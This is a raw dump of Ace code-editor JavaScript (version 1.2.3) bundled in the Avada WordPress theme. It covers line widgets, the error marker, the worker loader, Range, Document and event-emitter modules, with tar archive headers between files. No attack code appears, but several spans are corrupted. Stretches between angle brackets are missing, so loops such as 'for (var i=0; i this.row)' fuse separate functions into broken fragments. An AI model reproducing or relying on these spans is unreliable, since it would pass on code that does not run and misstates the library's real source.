!lineWidgets[fold.start.row]) lineWidgets[fold.start.row] = w; else w.hidden = true; } this.session._emit("changeFold", {data:{start:{row: w.row}}}); this.$updateRows(); this.renderWidgets(null, renderer); this.onWidgetChanged(w); return w; }; this.removeLineWidget = function(w) { w._inDocument = false; w.session = null; if (w.el && w.el.parentNode) w.el.parentNode.removeChild(w.el); if (w.editor && w.editor.destroy) try { w.editor.destroy(); } catch(e){} if (this.session.lineWidgets) { var w1 = this.session.lineWidgets[w.row] if (w1 == w) { this.session.lineWidgets[w.row] = w.$oldWidget; if (w.$oldWidget) this.onWidgetChanged(w.$oldWidget); } else { while (w1) { if (w1.$oldWidget == w) { w1.$oldWidget = w.$oldWidget; break; } w1 = w1.$oldWidget; } } } this.session._emit("changeFold", {data:{start:{row: w.row}}}); this.$updateRows(); }; this.getWidgetsAtRow = function(row) { var lineWidgets = this.session.lineWidgets; var w = lineWidgets && lineWidgets[row]; var list = []; while (w) { list.push(w); w = w.$oldWidget; } return list; }; this.onWidgetChanged = function(w) { this.session._changedWidgets.push(w); this.editor && this.editor.renderer.updateFull(); }; this.measureWidgets = function(e, renderer) { var changedWidgets = this.session._changedWidgets; var config = renderer.layerConfig; if (!changedWidgets || !changedWidgets.length) return; var min = Infinity; for (var i = 0; i < changedWidgets.length; i++) { var w = changedWidgets[i]; if (!w || !w.el) continue; if (w.session != this.session) continue; if (!w._inDocument) { if (this.session.lineWidgets[w.row] != w) continue; w._inDocument = true; renderer.container.appendChild(w.el); } w.h = w.el.offsetHeight; if (!w.fixedWidth) { w.w = w.el.offsetWidth; w.screenWidth = Math.ceil(w.w / config.characterWidth); } var rowCount = w.h / config.lineHeight; if (w.coverLine) { rowCount -= this.session.getRowLineCount(w.row); if (rowCount < 0) rowCount = 0; } if (w.rowCount != rowCount) { w.rowCount = rowCount; if (w.row < min) min = w.row; } } if (min != Infinity) { this.session._emit("changeFold", {data:{start:{row: min}}}); this.session.lineWidgetWidth = null; } this.session._changedWidgets = []; }; this.renderWidgets = function(e, renderer) { var config = renderer.layerConfig; var lineWidgets = this.session.lineWidgets; if (!lineWidgets) return; var first = Math.min(this.firstRow, config.firstRow); var last = Math.max(this.lastRow, config.lastRow, lineWidgets.length); while (first > 0 && !lineWidgets[first]) first--; this.firstRow = config.firstRow; this.lastRow = config.lastRow; renderer.$cursorLayer.config = config; for (var i = first; i <= last; i++) { var w = lineWidgets[i]; if (!w || !w.el) continue; if (w.hidden) { w.el.style.top = -100 - (w.pixelHeight || 0) + "px"; continue; } if (!w._inDocument) { w._inDocument = true; renderer.container.appendChild(w.el); } var top = renderer.$cursorLayer.getPixelPosition({row: i, column:0}, true).top; if (!w.coverLine) top += config.lineHeight * this.session.getRowLineCount(w.row); w.el.style.top = top - config.offset + "px"; var left = w.coverGutter ? 0 : renderer.gutterWidth; if (!w.fixedWidth) left -= renderer.scrollLeft; w.el.style.left = left + "px"; if (w.fullWidth && w.screenWidth) { w.el.style.minWidth = config.width + 2 * config.padding + "px"; } if (w.fixedWidth) { w.el.style.right = renderer.scrollBar.getWidth() + "px"; } else { w.el.style.right = ""; } } }; }).call(LineWidgets.prototype); exports.LineWidgets = LineWidgets; }); ace.define("ace/ext/error_marker",["require","exports","module","ace/line_widgets","ace/lib/dom","ace/range"], function(require, exports, module) { "use strict"; var LineWidgets = require("../line_widgets").LineWidgets; var dom = require("../lib/dom"); var Range = require("../range").Range; function binarySearch(array, needle, comparator) { var first = 0; var last = array.length - 1; while (first <= last) { var mid = (first + last) >> 1; var c = comparator(needle, array[mid]); if (c > 0) first = mid + 1; else if (c < 0) last = mid - 1; else return mid; } return -(first + 1); } function findAnnotations(session, row, dir) { var annotations = session.getAnnotations().sort(Range.comparePoints); if (!annotations.length) return; var i = binarySearch(annotations, {row: row, column: -1}, Range.comparePoints); if (i < 0) i = -i - 1; if (i >= annotations.length) i = dir > 0 ? 0 : annotations.length - 1; else if (i === 0 && dir < 0) i = annotations.length - 1; var annotation = annotations[i]; if (!annotation || !dir) return; if (annotation.row === row) { do { annotation = annotations[i += dir]; } while (annotation && annotation.row === row); if (!annotation) return annotations.slice(); } var matched = []; row = annotation.row; do { matched[dir < 0 ? "unshift" : "push"](annotation); annotation = annotations[i += dir]; } while (annotation && annotation.row == row); return matched.length && matched; } exports.showErrorMarker = function(editor, dir) { var session = editor.session; if (!session.widgetManager) { session.widgetManager = new LineWidgets(session); session.widgetManager.attach(editor); } var pos = editor.getCursorPosition(); var row = pos.row; var oldWidget = session.widgetManager.getWidgetsAtRow(row).filter(function(w) { return w.type == "errorMarker"; })[0]; if (oldWidget) { oldWidget.destroy(); } else { row -= dir; } var annotations = findAnnotations(session, row, dir); var gutterAnno; if (annotations) { var annotation = annotations[0]; pos.column = (annotation.pos && typeof annotation.column != "number" ? annotation.pos.sc : annotation.column) || 0; pos.row = annotation.row; gutterAnno = editor.renderer.$gutterLayer.$annotations[pos.row]; } else if (oldWidget) { return; } else { gutterAnno = { text: ["Looks good!"], className: "ace_ok" }; } editor.session.unfold(pos.row); editor.selection.moveToPosition(pos); var w = { row: pos.row, fixedWidth: true, coverGutter: true, el: dom.createElement("div"), type: "errorMarker" }; var el = w.el.appendChild(dom.createElement("div")); var arrow = w.el.appendChild(dom.createElement("div")); arrow.className = "error_widget_arrow " + gutterAnno.className; var left = editor.renderer.$cursorLayer .getPixelPosition(pos).left; arrow.style.left = left + editor.renderer.gutterWidth - 5 + "px"; w.el.className = "error_widget_wrapper"; el.className = "error_widget " + gutterAnno.className; el.innerHTML = gutterAnno.text.join("
    "); el.appendChild(dom.createElement("div")); var kb = function(_, hashId, keyString) { if (hashId === 0 && (keyString === "esc" || keyString === "return")) { w.destroy(); return {command: "null"}; } }; w.destroy = function() { if (editor.$mouseHandler.isMousePressed) return; editor.keyBinding.removeKeyboardHandler(kb); session.widgetManager.removeLineWidget(w); editor.off("changeSelection", w.destroy); editor.off("changeSession", w.destroy); editor.off("mouseup", w.destroy); editor.off("change", w.destroy); }; editor.keyBinding.addKeyboardHandler(kb); editor.on("changeSelection", w.destroy); editor.on("changeSession", w.destroy); editor.on("mouseup", w.destroy); editor.on("change", w.destroy); editor.session.widgetManager.addLineWidget(w); w.el.onmousedown = editor.focus.bind(editor); editor.renderer.scrollCursorIntoView(null, 0.5, {bottom: w.el.offsetHeight}); }; dom.importCssString("\ .error_widget_wrapper {\ background: inherit;\ color: inherit;\ border:none\ }\ .error_widget {\ border-top: solid 2px;\ border-bottom: solid 2px;\ margin: 5px 0;\ padding: 10px 40px;\ white-space: pre-wrap;\ }\ .error_widget.ace_error, .error_widget_arrow.ace_error{\ border-color: #ff5a5a\ }\ .error_widget.ace_warning, .error_widget_arrow.ace_warning{\ border-color: #F1D817\ }\ .error_widget.ace_info, .error_widget_arrow.ace_info{\ border-color: #5a5a5a\ }\ .error_widget.ace_ok, .error_widget_arrow.ace_ok{\ border-color: #5aaa5a\ }\ .error_widget_arrow {\ position: absolute;\ border: solid 5px;\ border-top-color: transparent!important;\ border-right-color: transparent!important;\ border-left-color: transparent!important;\ top: -5px;\ }\ ", ""); }); ace.define("ace/ace",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/dom","ace/lib/event","ace/editor","ace/edit_session","ace/undomanager","ace/virtual_renderer","ace/worker/worker_client","ace/keyboard/hash_handler","ace/placeholder","ace/multi_select","ace/mode/folding/fold_mode","ace/theme/textmate","ace/ext/error_marker","ace/config"], function(require, exports, module) { "use strict"; require("./lib/fixoldbrowsers"); var dom = require("./lib/dom"); var event = require("./lib/event"); var Editor = require("./editor").Editor; var EditSession = require("./edit_session").EditSession; var UndoManager = require("./undomanager").UndoManager; var Renderer = require("./virtual_renderer").VirtualRenderer; require("./worker/worker_client"); require("./keyboard/hash_handler"); require("./placeholder"); require("./multi_select"); require("./mode/folding/fold_mode"); require("./theme/textmate"); require("./ext/error_marker"); exports.config = require("./config"); exports.require = require; exports.edit = function(el) { if (typeof el == "string") { var _id = el; el = document.getElementById(_id); if (!el) throw new Error("ace.edit can't find div #" + _id); } if (el && el.env && el.env.editor instanceof Editor) return el.env.editor; var value = ""; if (el && /input|textarea/i.test(el.tagName)) { var oldNode = el; value = oldNode.value; el = dom.createElement("pre"); oldNode.parentNode.replaceChild(el, oldNode); } else if (el) { value = dom.getInnerText(el); el.innerHTML = ""; } var doc = exports.createEditSession(value); var editor = new Editor(new Renderer(el)); editor.setSession(doc); var env = { document: doc, editor: editor, onResize: editor.resize.bind(editor, null) }; if (oldNode) env.textarea = oldNode; event.addListener(window, "resize", env.onResize); editor.on("destroy", function() { event.removeListener(window, "resize", env.onResize); env.editor.container.env = null; // prevent memory leak on old ie }); editor.container.env = editor.env = env; return editor; }; exports.createEditSession = function(text, mode) { var doc = new EditSession(text, mode); doc.setUndoManager(new UndoManager()); return doc; } exports.EditSession = EditSession; exports.UndoManager = UndoManager; exports.version = "1.2.3"; }); (function() { ace.require(["ace/ace"], function(a) { a && a.config.init(true); if (!window.ace) window.ace = a; for (var key in a) if (a.hasOwnProperty(key)) window.ace[key] = a[key]; }); })(); Avada/includes/lib/inc/redux/custom-fields/ace_editor/field_ace_editor.scss000064400000000442152342437700023055 0ustar00.fusionredux-container-ace_editor { .ace-wrapper { position: static; } .ace_editor { height: 200px; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .ace_gutter { z-index: 1 !important; } } Avada/includes/lib/inc/redux/custom-fields/ace_editor/worker-javascript.js000064400001242175152342437700022746 0ustar00"no use strict"; ;(function(window) { if (typeof window.window != "undefined" && window.document) return; if (window.require && window.define) return; if (!window.console) { window.console = function() { var msgs = Array.prototype.slice.call(arguments, 0); postMessage({type: "log", data: msgs}); }; window.console.error = window.console.warn = window.console.log = window.console.trace = window.console; } window.window = window; window.ace = window; window.onerror = function(message, file, line, col, err) { postMessage({type: "error", data: { message: message, data: err.data, file: file, line: line, col: col, stack: err.stack }}); }; window.normalizeModule = function(parentId, moduleName) { // normalize plugin requires if (moduleName.indexOf("!") !== -1) { var chunks = moduleName.split("!"); return window.normalizeModule(parentId, chunks[0]) + "!" + window.normalizeModule(parentId, chunks[1]); } // normalize relative requires if (moduleName.charAt(0) == ".") { var base = parentId.split("/").slice(0, -1).join("/"); moduleName = (base ? base + "/" : "") + moduleName; while (moduleName.indexOf(".") !== -1 && previous != moduleName) { var previous = moduleName; moduleName = moduleName.replace(/^\.\//, "").replace(/\/\.\//, "/").replace(/[^\/]+\/\.\.\//, ""); } } return moduleName; }; window.require = function require(parentId, id) { if (!id) { id = parentId; parentId = null; } if (!id.charAt) throw new Error("worker.js require() accepts only (parentId, id) as arguments"); id = window.normalizeModule(parentId, id); var module = window.require.modules[id]; if (module) { if (!module.initialized) { module.initialized = true; module.exports = module.factory().exports; } return module.exports; } if (!window.require.tlns) return console.log("unable to load " + id); var path = resolveModuleId(id, window.require.tlns); if (path.slice(-3) != ".js") path += ".js"; window.require.id = id; window.require.modules[id] = {}; // prevent infinite loop on broken modules importScripts(path); return window.require(parentId, id); }; function resolveModuleId(id, paths) { var testPath = id, tail = ""; while (testPath) { var alias = paths[testPath]; if (typeof alias == "string") { return alias + tail; } else if (alias) { return alias.location.replace(/\/*$/, "/") + (tail || alias.main || alias.name); } else if (alias === false) { return ""; } var i = testPath.lastIndexOf("/"); if (i === -1) break; tail = testPath.substr(i) + tail; testPath = testPath.slice(0, i); } return id; } window.require.modules = {}; window.require.tlns = {}; window.define = function(id, deps, factory) { if (arguments.length == 2) { factory = deps; if (typeof id != "string") { deps = id; id = window.require.id; } } else if (arguments.length == 1) { factory = id; deps = []; id = window.require.id; } if (typeof factory != "function") { window.require.modules[id] = { exports: factory, initialized: true }; return; } if (!deps.length) // If there is no dependencies, we inject "require", "exports" and // "module" as dependencies, to provide CommonJS compatibility. deps = ["require", "exports", "module"]; var req = function(childId) { return window.require(id, childId); }; window.require.modules[id] = { exports: {}, factory: function() { var module = this; var returnExports = factory.apply(this, deps.map(function(dep) { switch (dep) { // Because "require", "exports" and "module" aren't actual // dependencies, we must handle them seperately. case "require": return req; case "exports": return module.exports; case "module": return module; // But for all other dependencies, we can just go ahead and // require them. default: return req(dep); } })); if (returnExports) module.exports = returnExports; return module; } }; }; window.define.amd = {}; require.tlns = {}; window.initBaseUrls = function initBaseUrls(topLevelNamespaces) { for (var i in topLevelNamespaces) require.tlns[i] = topLevelNamespaces[i]; }; window.initSender = function initSender() { var EventEmitter = window.require("ace/lib/event_emitter").EventEmitter; var oop = window.require("ace/lib/oop"); var Sender = function() {}; (function() { oop.implement(this, EventEmitter); this.callback = function(data, callbackId) { postMessage({ type: "call", id: callbackId, data: data }); }; this.emit = function(name, data) { postMessage({ type: "event", name: name, data: data }); }; }).call(Sender.prototype); return new Sender(); }; var main = window.main = null; var sender = window.sender = null; window.onmessage = function(e) { var msg = e.data; if (msg.event && sender) { sender._signal(msg.event, msg.data); } else if (msg.command) { if (main[msg.command]) main[msg.command].apply(main, msg.args); else if (window[msg.command]) window[msg.command].apply(window, msg.args); else throw new Error("Unknown command:" + msg.command); } else if (msg.init) { window.initBaseUrls(msg.tlns); require("ace/lib/es5-shim"); sender = window.sender = window.initSender(); var clazz = require(msg.module)[msg.classname]; main = window.main = new clazz(sender); } }; })(this); ace.define("ace/lib/oop",["require","exports","module"], function(require, exports, module) { "use strict"; exports.inherits = function(ctor, superCtor) { ctor.super_ = superCtor; ctor.prototype = Object.create(superCtor.prototype, { constructor: { value: ctor, enumerable: false, writable: true, configurable: true } }); }; exports.mixin = function(obj, mixin) { for (var key in mixin) { obj[key] = mixin[key]; } return obj; }; exports.implement = function(proto, mixin) { exports.mixin(proto, mixin); }; }); ace.define("ace/range",["require","exports","module"], function(require, exports, module) { "use strict"; var comparePoints = function(p1, p2) { return p1.row - p2.row || p1.column - p2.column; }; var Range = function(startRow, startColumn, endRow, endColumn) { this.start = { row: startRow, column: startColumn }; this.end = { row: endRow, column: endColumn }; }; (function() { this.isEqual = function(range) { return this.start.row === range.start.row && this.end.row === range.end.row && this.start.column === range.start.column && this.end.column === range.end.column; }; this.toString = function() { return ("Range: [" + this.start.row + "/" + this.start.column + "] -> [" + this.end.row + "/" + this.end.column + "]"); }; this.contains = function(row, column) { return this.compare(row, column) == 0; }; this.compareRange = function(range) { var cmp, end = range.end, start = range.start; cmp = this.compare(end.row, end.column); if (cmp == 1) { cmp = this.compare(start.row, start.column); if (cmp == 1) { return 2; } else if (cmp == 0) { return 1; } else { return 0; } } else if (cmp == -1) { return -2; } else { cmp = this.compare(start.row, start.column); if (cmp == -1) { return -1; } else if (cmp == 1) { return 42; } else { return 0; } } }; this.comparePoint = function(p) { return this.compare(p.row, p.column); }; this.containsRange = function(range) { return this.comparePoint(range.start) == 0 && this.comparePoint(range.end) == 0; }; this.intersects = function(range) { var cmp = this.compareRange(range); return (cmp == -1 || cmp == 0 || cmp == 1); }; this.isEnd = function(row, column) { return this.end.row == row && this.end.column == column; }; this.isStart = function(row, column) { return this.start.row == row && this.start.column == column; }; this.setStart = function(row, column) { if (typeof row == "object") { this.start.column = row.column; this.start.row = row.row; } else { this.start.row = row; this.start.column = column; } }; this.setEnd = function(row, column) { if (typeof row == "object") { this.end.column = row.column; this.end.row = row.row; } else { this.end.row = row; this.end.column = column; } }; this.inside = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column) || this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.insideStart = function(row, column) { if (this.compare(row, column) == 0) { if (this.isEnd(row, column)) { return false; } else { return true; } } return false; }; this.insideEnd = function(row, column) { if (this.compare(row, column) == 0) { if (this.isStart(row, column)) { return false; } else { return true; } } return false; }; this.compare = function(row, column) { if (!this.isMultiLine()) { if (row === this.start.row) { return column < this.start.column ? -1 : (column > this.end.column ? 1 : 0); } } if (row < this.start.row) return -1; if (row > this.end.row) return 1; if (this.start.row === row) return column >= this.start.column ? 0 : -1; if (this.end.row === row) return column <= this.end.column ? 0 : 1; return 0; }; this.compareStart = function(row, column) { if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.compareEnd = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else { return this.compare(row, column); } }; this.compareInside = function(row, column) { if (this.end.row == row && this.end.column == column) { return 1; } else if (this.start.row == row && this.start.column == column) { return -1; } else { return this.compare(row, column); } }; this.clipRows = function(firstRow, lastRow) { if (this.end.row > lastRow) var end = {row: lastRow + 1, column: 0}; else if (this.end.row < firstRow) var end = {row: firstRow, column: 0}; if (this.start.row > lastRow) var start = {row: lastRow + 1, column: 0}; else if (this.start.row < firstRow) var start = {row: firstRow, column: 0}; return Range.fromPoints(start || this.start, end || this.end); }; this.extend = function(row, column) { var cmp = this.compare(row, column); if (cmp == 0) return this; else if (cmp == -1) var start = {row: row, column: column}; else var end = {row: row, column: column}; return Range.fromPoints(start || this.start, end || this.end); }; this.isEmpty = function() { return (this.start.row === this.end.row && this.start.column === this.end.column); }; this.isMultiLine = function() { return (this.start.row !== this.end.row); }; this.clone = function() { return Range.fromPoints(this.start, this.end); }; this.collapseRows = function() { if (this.end.column == 0) return new Range(this.start.row, 0, Math.max(this.start.row, this.end.row-1), 0) else return new Range(this.start.row, 0, this.end.row, 0) }; this.toScreenRange = function(session) { var screenPosStart = session.documentToScreenPosition(this.start); var screenPosEnd = session.documentToScreenPosition(this.end); return new Range( screenPosStart.row, screenPosStart.column, screenPosEnd.row, screenPosEnd.column ); }; this.moveBy = function(row, column) { this.start.row += row; this.start.column += column; this.end.row += row; this.end.column += column; }; }).call(Range.prototype); Range.fromPoints = function(start, end) { return new Range(start.row, start.column, end.row, end.column); }; Range.comparePoints = comparePoints; Range.comparePoints = function(p1, p2) { return p1.row - p2.row || p1.column - p2.column; }; exports.Range = Range; }); ace.define("ace/apply_delta",["require","exports","module"], function(require, exports, module) { "use strict"; function throwDeltaError(delta, errorText){ console.log("Invalid Delta:", delta); throw "Invalid Delta: " + errorText; } function positionInDocument(docLines, position) { return position.row >= 0 && position.row < docLines.length && position.column >= 0 && position.column <= docLines[position.row].length; } function validateDelta(docLines, delta) { if (delta.action != "insert" && delta.action != "remove") throwDeltaError(delta, "delta.action must be 'insert' or 'remove'"); if (!(delta.lines instanceof Array)) throwDeltaError(delta, "delta.lines must be an Array"); if (!delta.start || !delta.end) throwDeltaError(delta, "delta.start/end must be an present"); var start = delta.start; if (!positionInDocument(docLines, delta.start)) throwDeltaError(delta, "delta.start must be contained in document"); var end = delta.end; if (delta.action == "remove" && !positionInDocument(docLines, end)) throwDeltaError(delta, "delta.end must contained in document for 'remove' actions"); var numRangeRows = end.row - start.row; var numRangeLastLineChars = (end.column - (numRangeRows == 0 ? start.column : 0)); if (numRangeRows != delta.lines.length - 1 || delta.lines[numRangeRows].length != numRangeLastLineChars) throwDeltaError(delta, "delta.range must match delta lines"); } exports.applyDelta = function(docLines, delta, doNotValidate) { var row = delta.start.row; var startColumn = delta.start.column; var line = docLines[row] || ""; switch (delta.action) { case "insert": var lines = delta.lines; if (lines.length === 1) { docLines[row] = line.substring(0, startColumn) + delta.lines[0] + line.substring(startColumn); } else { var args = [row, 1].concat(delta.lines); docLines.splice.apply(docLines, args); docLines[row] = line.substring(0, startColumn) + docLines[row]; docLines[row + delta.lines.length - 1] += line.substring(startColumn); } break; case "remove": var endColumn = delta.end.column; var endRow = delta.end.row; if (row === endRow) { docLines[row] = line.substring(0, startColumn) + line.substring(endColumn); } else { docLines.splice( row, endRow - row + 1, line.substring(0, startColumn) + docLines[endRow].substring(endColumn) ); } break; } } }); ace.define("ace/lib/event_emitter",["require","exports","module"], function(require, exports, module) { "use strict"; var EventEmitter = {}; var stopPropagation = function() { this.propagationStopped = true; }; var preventDefault = function() { this.defaultPrevented = true; }; EventEmitter._emit = EventEmitter._dispatchEvent = function(eventName, e) { this._eventRegistry || (this._eventRegistry = {}); this._defaultHandlers || (this._defaultHandlers = {}); var listeners = this._eventRegistry[eventName] || []; var defaultHandler = this._defaultHandlers[eventName]; if (!listeners.length && !defaultHandler) return; if (typeof e != "object" || !e) e = {}; if (!e.type) e.type = eventName; if (!e.stopPropagation) e.stopPropagation = stopPropagation; if (!e.preventDefault) e.preventDefault = preventDefault; listeners = listeners.slice(); for (var i=0; i this.row) return; var point = $getTransformedPoint(delta, {row: this.row, column: this.column}, this.$insertRight); this.setPosition(point.row, point.column, true); }; function $pointsInOrder(point1, point2, equalPointsInOrder) { var bColIsAfter = equalPointsInOrder ? point1.column <= point2.column : point1.column < point2.column; return (point1.row < point2.row) || (point1.row == point2.row && bColIsAfter); } function $getTransformedPoint(delta, point, moveIfEqual) { var deltaIsInsert = delta.action == "insert"; var deltaRowShift = (deltaIsInsert ? 1 : -1) * (delta.end.row - delta.start.row); var deltaColShift = (deltaIsInsert ? 1 : -1) * (delta.end.column - delta.start.column); var deltaStart = delta.start; var deltaEnd = deltaIsInsert ? deltaStart : delta.end; // Collapse insert range. if ($pointsInOrder(point, deltaStart, moveIfEqual)) { return { row: point.row, column: point.column }; } if ($pointsInOrder(deltaEnd, point, !moveIfEqual)) { return { row: point.row + deltaRowShift, column: point.column + (point.row == deltaEnd.row ? deltaColShift : 0) }; } return { row: deltaStart.row, column: deltaStart.column }; } this.setPosition = function(row, column, noClip) { var pos; if (noClip) { pos = { row: row, column: column }; } else { pos = this.$clipPositionToDocument(row, column); } if (this.row == pos.row && this.column == pos.column) return; var old = { row: this.row, column: this.column }; this.row = pos.row; this.column = pos.column; this._signal("change", { old: old, value: pos }); }; this.detach = function() { this.document.removeEventListener("change", this.$onChange); }; this.attach = function(doc) { this.document = doc || this.document; this.document.on("change", this.$onChange); }; this.$clipPositionToDocument = function(row, column) { var pos = {}; if (row >= this.document.getLength()) { pos.row = Math.max(0, this.document.getLength() - 1); pos.column = this.document.getLine(pos.row).length; } else if (row < 0) { pos.row = 0; pos.column = 0; } else { pos.row = row; pos.column = Math.min(this.document.getLine(pos.row).length, Math.max(0, column)); } if (column < 0) pos.column = 0; return pos; }; }).call(Anchor.prototype); }); ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var applyDelta = require("./apply_delta").applyDelta; var EventEmitter = require("./lib/event_emitter").EventEmitter; var Range = require("./range").Range; var Anchor = require("./anchor").Anchor; var Document = function(textOrLines) { this.$lines = [""]; if (textOrLines.length === 0) { this.$lines = [""]; } else if (Array.isArray(textOrLines)) { this.insertMergedLines({row: 0, column: 0}, textOrLines); } else { this.insert({row: 0, column:0}, textOrLines); } }; (function() { oop.implement(this, EventEmitter); this.setValue = function(text) { var len = this.getLength() - 1; this.remove(new Range(0, 0, len, this.getLine(len).length)); this.insert({row: 0, column: 0}, text); }; this.getValue = function() { return this.getAllLines().join(this.getNewLineCharacter()); }; this.createAnchor = function(row, column) { return new Anchor(this, row, column); }; if ("aaa".split(/a/).length === 0) { this.$split = function(text) { return text.replace(/\r\n|\r/g, "\n").split("\n"); }; } else { this.$split = function(text) { return text.split(/\r\n|\r|\n/); }; } this.$detectNewLine = function(text) { var match = text.match(/^.*?(\r\n|\r|\n)/m); this.$autoNewLine = match ? match[1] : "\n"; this._signal("changeNewLineMode"); }; this.getNewLineCharacter = function() { switch (this.$newLineMode) { case "windows": return "\r\n"; case "unix": return "\n"; default: return this.$autoNewLine || "\n"; } }; this.$autoNewLine = ""; this.$newLineMode = "auto"; this.setNewLineMode = function(newLineMode) { if (this.$newLineMode === newLineMode) return; this.$newLineMode = newLineMode; this._signal("changeNewLineMode"); }; this.getNewLineMode = function() { return this.$newLineMode; }; this.isNewLine = function(text) { return (text == "\r\n" || text == "\r" || text == "\n"); }; this.getLine = function(row) { return this.$lines[row] || ""; }; this.getLines = function(firstRow, lastRow) { return this.$lines.slice(firstRow, lastRow + 1); }; this.getAllLines = function() { return this.getLines(0, this.getLength()); }; this.getLength = function() { return this.$lines.length; }; this.getTextRange = function(range) { return this.getLinesForRange(range).join(this.getNewLineCharacter()); }; this.getLinesForRange = function(range) { var lines; if (range.start.row === range.end.row) { lines = [this.getLine(range.start.row).substring(range.start.column, range.end.column)]; } else { lines = this.getLines(range.start.row, range.end.row); lines[0] = (lines[0] || "").substring(range.start.column); var l = lines.length - 1; if (range.end.row - range.start.row == l) lines[l] = lines[l].substring(0, range.end.column); } return lines; }; this.insertLines = function(row, lines) { console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."); return this.insertFullLines(row, lines); }; this.removeLines = function(firstRow, lastRow) { console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."); return this.removeFullLines(firstRow, lastRow); }; this.insertNewLine = function(position) { console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, [\'\', \'\']) instead."); return this.insertMergedLines(position, ["", ""]); }; this.insert = function(position, text) { if (this.getLength() <= 1) this.$detectNewLine(text); return this.insertMergedLines(position, this.$split(text)); }; this.insertInLine = function(position, text) { var start = this.clippedPos(position.row, position.column); var end = this.pos(position.row, position.column + text.length); this.applyDelta({ start: start, end: end, action: "insert", lines: [text] }, true); return this.clonePos(end); }; this.clippedPos = function(row, column) { var length = this.getLength(); if (row === undefined) { row = length; } else if (row < 0) { row = 0; } else if (row >= length) { row = length - 1; column = undefined; } var line = this.getLine(row); if (column == undefined) column = line.length; column = Math.min(Math.max(column, 0), line.length); return {row: row, column: column}; }; this.clonePos = function(pos) { return {row: pos.row, column: pos.column}; }; this.pos = function(row, column) { return {row: row, column: column}; }; this.$clipPosition = function(position) { var length = this.getLength(); if (position.row >= length) { position.row = Math.max(0, length - 1); position.column = this.getLine(length - 1).length; } else { position.row = Math.max(0, position.row); position.column = Math.min(Math.max(position.column, 0), this.getLine(position.row).length); } return position; }; this.insertFullLines = function(row, lines) { row = Math.min(Math.max(row, 0), this.getLength()); var column = 0; if (row < this.getLength()) { lines = lines.concat([""]); column = 0; } else { lines = [""].concat(lines); row--; column = this.$lines[row].length; } this.insertMergedLines({row: row, column: column}, lines); }; this.insertMergedLines = function(position, lines) { var start = this.clippedPos(position.row, position.column); var end = { row: start.row + lines.length - 1, column: (lines.length == 1 ? start.column : 0) + lines[lines.length - 1].length }; this.applyDelta({ start: start, end: end, action: "insert", lines: lines }); return this.clonePos(end); }; this.remove = function(range) { var start = this.clippedPos(range.start.row, range.start.column); var end = this.clippedPos(range.end.row, range.end.column); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }); return this.clonePos(start); }; this.removeInLine = function(row, startColumn, endColumn) { var start = this.clippedPos(row, startColumn); var end = this.clippedPos(row, endColumn); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }, true); return this.clonePos(start); }; this.removeFullLines = function(firstRow, lastRow) { firstRow = Math.min(Math.max(0, firstRow), this.getLength() - 1); lastRow = Math.min(Math.max(0, lastRow ), this.getLength() - 1); var deleteFirstNewLine = lastRow == this.getLength() - 1 && firstRow > 0; var deleteLastNewLine = lastRow < this.getLength() - 1; var startRow = ( deleteFirstNewLine ? firstRow - 1 : firstRow ); var startCol = ( deleteFirstNewLine ? this.getLine(startRow).length : 0 ); var endRow = ( deleteLastNewLine ? lastRow + 1 : lastRow ); var endCol = ( deleteLastNewLine ? 0 : this.getLine(endRow).length ); var range = new Range(startRow, startCol, endRow, endCol); var deletedLines = this.$lines.slice(firstRow, lastRow + 1); this.applyDelta({ start: range.start, end: range.end, action: "remove", lines: this.getLinesForRange(range) }); return deletedLines; }; this.removeNewLine = function(row) { if (row < this.getLength() - 1 && row >= 0) { this.applyDelta({ start: this.pos(row, this.getLine(row).length), end: this.pos(row + 1, 0), action: "remove", lines: ["", ""] }); } }; this.replace = function(range, text) { if (!(range instanceof Range)) range = Range.fromPoints(range.start, range.end); if (text.length === 0 && range.isEmpty()) return range.start; if (text == this.getTextRange(range)) return range.end; this.remove(range); var end; if (text) { end = this.insert(range.start, text); } else { end = range.start; } return end; }; this.applyDeltas = function(deltas) { for (var i=0; i=0; i--) { this.revertDelta(deltas[i]); } }; this.applyDelta = function(delta, doNotValidate) { var isInsert = delta.action == "insert"; if (isInsert ? delta.lines.length <= 1 && !delta.lines[0] : !Range.comparePoints(delta.start, delta.end)) { return; } if (isInsert && delta.lines.length > 20000) this.$splitAndapplyLargeDelta(delta, 20000); applyDelta(this.$lines, delta, doNotValidate); this._signal("change", delta); }; this.$splitAndapplyLargeDelta = function(delta, MAX) { var lines = delta.lines; var l = lines.length; var row = delta.start.row; var column = delta.start.column; var from = 0, to = 0; do { from = to; to += MAX - 1; var chunk = lines.slice(from, to); if (to > l) { delta.lines = chunk; delta.start.row = row + from; delta.start.column = column; break; } chunk.push(""); this.applyDelta({ start: this.pos(row + from, column), end: this.pos(row + to, column = 0), action: delta.action, lines: chunk }, true); } while(true); }; this.revertDelta = function(delta) { this.applyDelta({ start: this.clonePos(delta.start), end: this.clonePos(delta.end), action: (delta.action == "insert" ? "remove" : "insert"), lines: delta.lines.slice() }); }; this.indexToPosition = function(index, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; for (var i = startRow || 0, l = lines.length; i < l; i++) { index -= lines[i].length + newlineLength; if (index < 0) return {row: i, column: index + lines[i].length + newlineLength}; } return {row: l-1, column: lines[l-1].length}; }; this.positionToIndex = function(pos, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; var index = 0; var row = Math.min(pos.row, lines.length); for (var i = startRow || 0; i < row; ++i) index += lines[i].length + newlineLength; return index + pos.column; }; }).call(Document.prototype); exports.Document = Document; }); ace.define("ace/lib/lang",["require","exports","module"], function(require, exports, module) { "use strict"; 